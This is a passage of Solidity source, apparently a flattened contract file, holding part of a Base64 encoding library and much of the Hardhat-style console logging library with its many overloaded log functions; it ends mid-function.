'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; bytes internal constant TABLE_DECODE = hex"0000000000000000000000000000000000000000000000000000000000000000" hex"00000000000000000000003e0000003f3435363738393a3b3c3d000000000000" hex"00000102030405060708090a0b0c0d0e0f101112131415161718190000000000" hex"001a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132330000000000"; function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ''; // load the table into memory string memory table = TABLE_ENCODE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for {} lt(dataPtr, endPtr) {} { // read 3 bytes dataPtr := add(dataPtr, 3) let input := mload(dataPtr) // write 4 characters mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(shr( 6, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and( input, 0x3F)))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } function decode(string memory _data) internal pure returns (bytes memory) { bytes memory data = bytes(_data); if (data.length == 0) return new bytes(0); require(data.length % 4 == 0, "invalid base64 decoder input"); // load the table into memory bytes memory table = TABLE_DECODE; // every 4 characters represent 3 bytes uint256 decodedLen = (data.length / 4) * 3; // add some extra buffer at the end required for the writing bytes memory result = new bytes(decodedLen + 32); assembly { // padding with '=' let lastBytes := mload(add(data, mload(data))) if eq(and(lastBytes, 0xFF), 0x3d) { decodedLen := sub(decodedLen, 1) if eq(and(lastBytes, 0xFFFF), 0x3d3d) { decodedLen := sub(decodedLen, 1) } } // set the actual output length mstore(result, decodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 4 characters at a time for {} lt(dataPtr, endPtr) {} { // read 4 characters dataPtr := add(dataPtr, 4) let input := mload(dataPtr) // write 3 bytes let output := add( add( shl(18, and(mload(add(tablePtr, and(shr(24, input), 0xFF))), 0xFF)), shl(12, and(mload(add(tablePtr, and(shr(16, input), 0xFF))), 0xFF))), add( shl( 6, and(mload(add(tablePtr, and(shr( 8, input), 0xFF))), 0xFF)), and(mload(add(tablePtr, and( input , 0xFF))), 0xFF) ) ) mstore(resultPtr, shl(232, output)) resultPtr := add(resultPtr, 3) } } return result; } } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { 